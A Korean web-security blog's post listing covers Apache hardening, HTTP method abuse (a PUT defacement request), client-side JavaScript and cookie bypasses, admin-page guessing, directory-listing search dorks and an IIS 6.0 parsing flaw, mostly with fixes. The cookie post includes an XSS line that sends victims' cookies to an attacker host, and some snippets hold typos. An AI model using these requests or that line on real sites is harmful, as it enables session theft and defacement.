2017. 3. 16.

[Apache 보안설정] Apache 웹 프로세스

Apache 웹 서버 운영시에 위험을 최소화하기 위해서 웹서버 애플리케이션만을 위한 하나의 유일한 일반 계정으로 운영하는 것이 권고된다. 대부분의 경우에 이러한 목적을 위해 사용자 ID와 그룹으로 nobody를 사용한다.

패스워드 파일에서 Apache 를 위한 사용자 계정(nobody)이 locked되어 로그인 되지 않도록 해야 한다.

1. 웹 서버 프로세스 소유자 확인

# ps -ef | grep http
nobody 434 1 0 9월 07 ? 2:31 /usr/local/apache/bin/httpd
nobody 453 1 0 9월 07 ? 30:37 /usr/local/apache/bin/httpd

2. httpd.conf 파일에서 원하는 사용자 지정
# vi httpd.conf
User nobody
User nobody

3. 로그인 불가 설정
# useradd -s /sbin/nologin nobody

참고

  • http://armadablog.tistory.com/98

Continue reading

2017. 3. 4.

[웹 취약점] HTTP 메소드 -1


1. 불필요한 Method 지원여부 확인




1) Options Method
step 1)
#telnet test.go.kr 80

step 2)
OPTIONS /(또는 *) HTTP1.1

step 3)
결과 확인
예)
Server: Apache/2.2.6
Allow: GET, HEAD, POST, OPTIONS, TRACE
Content-Length: 304
Connection : close
Content-type : text/html

2) TRACE Method

c:\>telnet www.test.go.kr 80
TRACE / HTTP/1.1
HOST: www.nanum.info

3) PUT Method
C:\>telnet www.test.go.kr 80
PUT /test.txt HTTP/1.1
HOST: www.test.go.kr
Content-Length: 9

test1234(쓰고자하는 글 내용)

4) DELETE Method
C:\>telnet www.test.go.kr 80
DELETE /test.txt HTTP/1.1
HOST:www.test.go.kr

2. PUT 메소드 악용

HTTP 메소드는 GET, POST 등 데이터 전송 방식을 결정하는 요소이나 시스템 설정 및 불필요한 메소드 (PUT, DELETE 등) 악용을 통해 크로스 사이트 스크립팅 혹은 홈페이지 변조에 활용될 수 있다.

특히 PUT, DELETE 메소드로는 WebDAV 서비스와 함께 원격지 웹 서버에 파일을 생성하거나 삭제하는 FTP와 유사한 기능을 구현할 수 있다. 이는 웹 콘텐츠 디렉터리 및 httpext.dll 권한 할당 오류로 인해 인증 절차 없이 원격지 서버에 파일을 생성하거나 삭제할 수 있다.

기본적으로 웹 게시 폴더는 인터넷 사용자가 접근하는 폴더이기 때문에 게스트 계정을 가지는 웹 사용자는 쓰기 권한을 가진다. 그러나 웹 사용자가 웹을 통해 직접 내용을 쓰기 위해서는 HTTP의 확장된 기능인 WebDAV 기능이 지원되어야 한다. 따라서 WebDAV 서비스를 제공하는 파일인 httpext.dll에 인터넷 게스트 권한을 포함하는 Everyone이 모든 권한을 가지도록 할당하는 경우 인증없이 콘텐츠를 생성하거나 삭제할 수 있다.

** httpext.dll 파일은 \winnt\system32\system32\inetsrc\httpext.dll 에 존재하거나 \winddow\system32\inetserv\httpext.dll에 존재한다.

아래와 같이 PUT 메소드를 이용하여 /upload/Defacement.html 파일을 삽입하여 홈페이지 변조를 시도할 수 있다. 헤더에는 파일 생성위치를 넣고, body에는 파일 내용을 추가한다.


:: PUT 메소드

PUT /upload/Defacement.html HTTP/1.1
if-Modified-Since: Mon,
.
.
. (헤더 부분생략)

<HTML>
<p>
this is an HTML file that was loaded as a result of exploiting an existing vulnerability in the Web Application
</HTML>

** 참고로 공격자 입장에서 WebDAV 운영 여부를 확인하기 위해서 'PROPFIND /' 를 전송할 수 있다. 이때 응답코드 207번이 수신되면 WebDAV 서비스 사용을 의미하기 때문에 파일 삽입 을 요청하고 파일이 생성되었을 경우 201번이 수신된다.

:: PUT 악용 로그 샘플
2005-01-09 23:24:XX XXXX - 102.107.117.11 PROFIND / - 207
Microsoft+Data+Access+Internet+Publishing+Provider+DAV
2005-01-09 23:24:XX XXXX - 102.107.117.11 PUT /echo.htm - 201
Microsoft+Data+Access+Internet+Publishing+Provider+DAV  

3. 해결 방안

HTTP 메소드 중 필요한 메소드(GET, POST) 이외에는 모두 제거해야 한다. 또한 WebDAV
 서비스가 필요하지 않으면 기본적으로 비활성화 하여야 한다.


Continue reading

[웹 취약점] 자바스크립트 우회


1. 개요

웹 브라우저에서 소스보기를 하면 자바스크립트는 Client Side Script 이기 때문에 관련 함수를 모두 볼 수 있지만, JSP, ASP, PHP 와 같은 스크립트는 Server Side Script 이기 때문에 내부 로직을 확인하지 못하고 프로그램의 결과만을 코드형태로 볼 수 있다.

<서버 측 스크립트 예>
<table border="0" cellpadding="3" width="600">
<tr><td class="e">System </td><td class="v"> Windows NT </td></td>

때문에 자바스크립트 값을 수정함으로써 우회하는 방법이 얼마든지 가능하다.

# 프로그램 오류로 말미암은 인증 우회
개발자가 if 조건문을 중단하는 return 문장을 사용하지 않아 발생하는 인증 우회가 발생할 수 있다.

사용자가 특정 메뉴에 접근하게 되면 즉시 팝업을 띄워 사용자에게 경고를 주게 된다. 이 때 프록시 툴로 response 값을 확인하고 아래와 같이 변조한다.

[변조 전]
<script language="JAVASCRIPT">
alert("please login")
document.location.href="../main.jsp";
</script> 

[변조 후]
<script language="JAVASCRIPT">
Return true;
</script>

위에서도 언급했지만 이러한 우회가 가능한 이유는 서버 사이트 스크립트 언어로 권한 체크를 할때, 아래와 같이 return; 문을 삽입하지 않았기 때문이다. return 문이 삽입되었으면 자바스크립트로 우회를 하려고 해도 이미 return 문으로 로직이 중단될 것이다.

 if(!login)
{
out.println("<script>");
out.println("alert(\"please login\");");
out.println("location.href=\"/main.jsp\";");
out.println("</script>");
return;
}

# 쿠키(세션)검사 우회

[변조 전] // 아래와 같이 level과 id를 자바스크립트에서 점검하는 것을 확인 할 수 있다.
 function chCookie( ) { var levelsStr = getCookie('clevels');
var idsStr = getCookie('cidss');
if ((levelStr == null && levelsStr == "") || levelsStr < 3)
{ alert('이 메뉴는 관리자만 사용할 수 있습니다.');
Window.open('/admin/index.html','_parent',"); }} 

[변조 후]
 function chkCookie( )
{
return true;
}  

사용자 측 스크립트는 프록시 툴 등으로 로직을 변조 및 우회할 수 있으므로 서버측 스크립트로 사용자 세션을 검사할 수 있도록 프로그램을 수정해야 한다.

Continue reading

2017. 3. 2.

[웹 취약점] 쿠키 변조 및 재사용

# 히든 필드 방식

html 태그 정보로 사용자 인증을 처리하는 방식으로, 상품가격과 사용자 추적을 위해 과거에 사용했던 방식, 그러나 사용자 측 스크립트에서 우회 할 수 있는 취약점이 존재함

[HTML 태그 형태]
<INPUT TYPE ="hidden" Name="변수명" Value="Data">
[원래의 히든 필드 값]
<input type=hidden name="user" value="test">
[변조된 히든 필드 값]
<input type=hidden name="user" value="admin">
히든 필드는 웹 브라우저의 정보를 전적으로 신뢰하는 구조이기 때문에 서버 측에서 재검증하지 않는 한 보안 취약점을 가질 수 밖에 없다.


# 쿠키나 세션 가로채기



웹 로그에 사용자 쿠키 혹은 세션 값을 전송하는 예제

<script>document.write("<img src='http://myhomeshop/shop/images/cat_image.jpg?"+document.cookie.+">");</script>

만약 원격지의 그림파일이 공격자의 통제하에 있는 웹 사이트(http://myhomeshop)의 그림이라고 가정해보자. 해당 url을 통해 피해자가 그림을 요청한 흔적과 클릭한 사용자의 쿠키 정보가 함께 웹 로그 파일에 쌓이게 될 것이다.


Continue reading

[웹 취약점] 인증이 없는 관리자 페이지



# 인증 검사 오류
관리자 페이지는 로그인 페이지 인증을 정상적으로 통과한 사용자만 관리자 메뉴에 접근할 수 있으나, 설정 오류로 인해 하위 페이지 정보를 얻거나 추측하여 접속을 시도함

추측 가능한 페이지 종류

admin/top.asp, admin/top,jsp, admin/menu.jsp, admin/menu.jsp


# 보호 방법

1) 관리자 페이지 접근통제

# Windows
[기본 웹 사이트 등록 정보] - [디렉터리 보안] - [IP 주소 및 도메인 이름 제한] 에서 관리자 IP를 등록하거나 거부할 IP를 등록하여 접근을 제한 할 수 있다.

#Apache
httpd.conf 파일에서 /home/www/admin 디렉터리에 접근할 수 있는 IP를 제한 할 수 있다.

<Directory /home/www/admin/>

AllowOverride AuthConfig
Order deny, allow
Deny from 192.168.10.100 192.168.100.200

</Directory>

2) 프로그램 측면
ASP, JSP, PHP 언어 측면에서 사용자 IP를 검사한다.


Continue reading

[웹 취약점] 디렉터리 리스팅



1. 진단 방법


- 톰캣 -

톰캣의 설정 파일은 conf/web.xml 이며 아래와 같이 설정되어 있는 경우, 디렉토리 노출 취약점이 발생된다.

<init-param>
<param-name> listings </param-name>
<param-name> true </param-name>
</init-param>



# 구글을 이용한 디렉터리 노출 검색

아래와 같이 구글 검색 키워드 site 와 디렉터리 리스팅 패턴을 함께 사용하여 점검할 수 있다.
ex) site:xxx.com intitle:index of "parent directory"
site:xxx.com "index of" 또는 site:xxx.com "부모디렉토리로 이동" 입력 (쌍다움표는 없어도 됨)
site:xx.com index of


<디렉터리 리스팅 패턴>

IIS - Parent Directory
Tomcat - Directory Listing
Apache - Directory Listing
기타 - Index of /

** Alias를 사용할 때는 Indexes 라는 키워드가 없음에도 디렉터리가 노출될 수 있다. 예를 들어, Alias /image "data2/image" 를 사용하는 경우 indexes 키워드 자체가 보이지 않을 수 있다. 이와 같은 경우는, 아래와 같이 Alias 관련 페이지 정보를 httpd.conf 중간에 신규로 작성해야 한다.


ex)
<Directory "/data2/image">
AllowOverride None
Options None
Order allow, deny
Allow from all
</Directory>

# 연계 공격 시나리오

노출된 디렉토리 내에, imgup.php 와 같은 파일 업로드 페이지를 찾아본다.
발견된 페이지에서 jsp, php, asp 등 과 같은 파일이 업로드 되는지 확인한다.

Continue reading

[웹 취약점] IIS 6.0 파싱 취약점

IIS 6.0 을 사용하는 웹서버를 대상으로 할 수 있는 공격으로서, 세미콜론(;) 을 포함한 웹페이지 요청시 파싱 대싱이 세미콜론(;) 앞쪽만 인식하여 웹스크립트가 동작함. 이를 통해 파일업로드 시 확장자 필터링을 우회하여 악성파일 실행이 가능함.

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.